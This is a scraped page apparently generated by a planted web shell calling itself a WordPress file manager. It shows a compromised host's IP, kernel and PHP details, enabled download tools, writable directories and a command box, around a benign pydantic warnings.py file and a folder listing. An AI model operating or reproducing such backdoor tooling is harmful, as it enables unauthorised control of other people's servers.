GRAYBYTE WORDPRESS FILE MANAGER9803

Server IP : 198.54.121.189 / Your IP : 216.73.216.224
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/cloudlinux/venv/lib/python3.11/site-packages/pydantic/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/pydantic//warnings.py
"""Pydantic-specific warnings."""
from __future__ import annotations as _annotations

from .version import version_short

__all__ = 'PydanticDeprecatedSince20', 'PydanticDeprecationWarning'


class PydanticDeprecationWarning(DeprecationWarning):
    """A Pydantic specific deprecation warning.

    This warning is raised when using deprecated functionality in Pydantic. It provides information on when the
    deprecation was introduced and the expected version in which the corresponding functionality will be removed.

    Attributes:
        message: Description of the warning.
        since: Pydantic version in what the deprecation was introduced.
        expected_removal: Pydantic version in what the corresponding functionality expected to be removed.
    """

    message: str
    since: tuple[int, int]
    expected_removal: tuple[int, int]

    def __init__(
        self, message: str, *args: object, since: tuple[int, int], expected_removal: tuple[int, int] | None = None
    ) -> None:
        super().__init__(message, *args)
        self.message = message.rstrip('.')
        self.since = since
        self.expected_removal = expected_removal if expected_removal is not None else (since[0] + 1, 0)

    def __str__(self) -> str:
        message = (
            f'{self.message}. Deprecated in Pydantic V{self.since[0]}.{self.since[1]}'
            f' to be removed in V{self.expected_removal[0]}.{self.expected_removal[1]}.'
        )
        if self.since == (2, 0):
            message += f' See Pydantic V2 Migration Guide at https://errors.pydantic.dev/{version_short()}/migration/'
        return message


class PydanticDeprecatedSince20(PydanticDeprecationWarning):
    """A specific `PydanticDeprecationWarning` subclass defining functionality deprecated since Pydantic 2.0."""

    def __init__(self, message: str, *args: object) -> None:
        super().__init__(message, *args, since=(2, 0), expected_removal=(3, 0))

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 25 2025 08:31:36
root / root
0755
__pycache__
--
March 06 2024 00:27:04
root / root
0755
_internal
--
March 06 2024 00:27:04
root / root
0755
deprecated
--
March 06 2024 00:27:04
root / root
0755
plugin
--
March 06 2024 00:27:04
root / root
0755
v1
--
March 06 2024 00:27:04
root / root
0755
__init__.py
5.678 KB
March 06 2024 00:27:04
root / root
0644
_migration.py
11.62 KB
March 06 2024 00:27:04
root / root
0644
alias_generators.py
1.114 KB
March 06 2024 00:27:04
root / root
0644
annotated_handlers.py
4.244 KB
March 06 2024 00:27:04
root / root
0644
class_validators.py
0.144 KB
March 06 2024 00:27:04
root / root
0644
color.py
20.989 KB
March 06 2024 00:27:04
root / root
0644
config.py
24.157 KB
March 06 2024 00:27:04
root / root
0644
dataclasses.py
11.221 KB
March 06 2024 00:27:04
root / root
0644
datetime_parse.py
0.146 KB
March 06 2024 00:27:04
root / root
0644
decorator.py
0.141 KB
March 06 2024 00:27:04
root / root
0644
env_settings.py
0.144 KB
March 06 2024 00:27:04
root / root
0644
error_wrappers.py
0.146 KB
March 06 2024 00:27:04
root / root
0644
errors.py
4.487 KB
March 06 2024 00:27:04
root / root
0644
fields.py
44.446 KB
March 06 2024 00:27:04
root / root
0644
functional_serializers.py
10.527 KB
March 06 2024 00:27:04
root / root
0644
functional_validators.py
19.991 KB
March 06 2024 00:27:04
root / root
0644
generics.py
0.14 KB
March 06 2024 00:27:04
root / root
0644
json.py
0.136 KB
March 06 2024 00:27:04
root / root
0644
json_schema.py
98.326 KB
March 06 2024 00:27:04
root / root
0644
main.py
60.801 KB
March 06 2024 00:27:04
root / root
0644
mypy.py
49.532 KB
March 06 2024 00:27:04
root / root
0644
networks.py
20.062 KB
March 06 2024 00:27:04
root / root
0644
parse.py
0.137 KB
March 06 2024 00:27:04
root / root
0644
py.typed
0 KB
March 06 2024 00:27:04
root / root
0644
root_model.py
4.833 KB
March 06 2024 00:27:04
root / root
0644
schema.py
0.138 KB
March 06 2024 00:27:04
root / root
0644
tools.py
0.137 KB
March 06 2024 00:27:04
root / root
0644
type_adapter.py
18.377 KB
March 06 2024 00:27:04
root / root
0644
types.py
70.538 KB
March 06 2024 00:27:04
root / root
0644
typing.py
0.134 KB
March 06 2024 00:27:04
root / root
0644
utils.py
0.137 KB
March 06 2024 00:27:04
root / root
0644
validate_call.py
1.738 KB
March 06 2024 00:27:04
root / root
0644
validators.py
0.142 KB
March 06 2024 00:27:04
root / root
0644
version.py
2.253 KB
March 06 2024 00:27:04
root / root
0644
warnings.py
1.901 KB
March 06 2024 00:27:04
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF